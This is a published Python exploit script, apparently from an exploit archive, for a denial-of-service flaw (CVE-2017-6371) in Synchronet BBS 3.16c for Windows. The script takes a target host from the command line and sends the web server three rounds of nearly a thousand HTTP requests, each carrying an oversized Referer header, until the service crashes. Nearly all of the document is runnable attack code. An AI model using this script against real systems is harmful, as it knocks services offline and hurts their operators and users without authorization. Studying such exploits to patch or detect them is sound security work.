Synchronet BBS 3.16c For Windows Denial Of Service

`# Exploit Title: Synchronet BBS 3.16c for Windows a Multiple vulnerabilities  
# Date: 2017-02-28  
# Exploit Author: Peter Baris  
# Vendor Homepage: http://www.saptech-erp.com.au  
# Software Link: ftp://synchro.net/Synchronet/sbbs316c.zip  
# Version: 3.16c for Windows  
# Tested on: Windows 7 Pro SP1 x64, Windows Server 2008 R2 Standard x64   
# CVE : CVE-2017-6371  
  
import socket  
import time  
import sys  
  
try:  
host = sys.argv[1]  
port = 80  
except IndexError:  
print "[+] Usage %s <host> " % sys.argv[0]  
sys.exit()  
  
  
exploit = "\x41"*4096  
  
buffer = "GET /index.ssjs HTTP/1.1\r\n"  
buffer+= "Host: 192.168.198.129\r\n"  
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"  
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\  
r\n"  
buffer+="Accept-Language: en-US,en;q=0.5\r\n"  
buffer+="Accept-Encoding: gzip, deflate\r\n"  
buffer+="Referer: "+exploit+"\r\n"  
buffer+="Connection: keep-alive\r\n"  
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"  
buffer+="Content-Length: 5900\r\n\r\n"  
  
i = 1  
while i < 957:  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((host,port))  
print("[*] Try: "+str(i))  
s.send(buffer)  
s.close()  
i=i+1  
except:  
print("[-] The service seems to be down\r\n")  
break  
  
  
print("[i] Waiting a few seconds before starting a second attack.\r\n")  
time.sleep(25)  
print("[*] Second run to trigger the DoS")  
i = 1  
while i < 957:  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((host,port))  
print("[*] Try: "+str(i))  
s.send(buffer)  
s.close()  
i=i+1  
except:  
print("[-] The service seems to be down.\r\n")  
break  
  
print("[i] Wait before the final strike.\r\n")  
time.sleep(25)  
print("[*] Third run to trigger the DoS")  
i = 1  
while i < 957:  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((host,port))  
print("[*] Try: "+str(i))  
s.send(buffer)  
s.close()  
i=i+1  
except:  
print("[-] The service seems to be down.\r\n")  
print("[!] It can take a few seconds for the service to crash\r\n")  
break  
  
`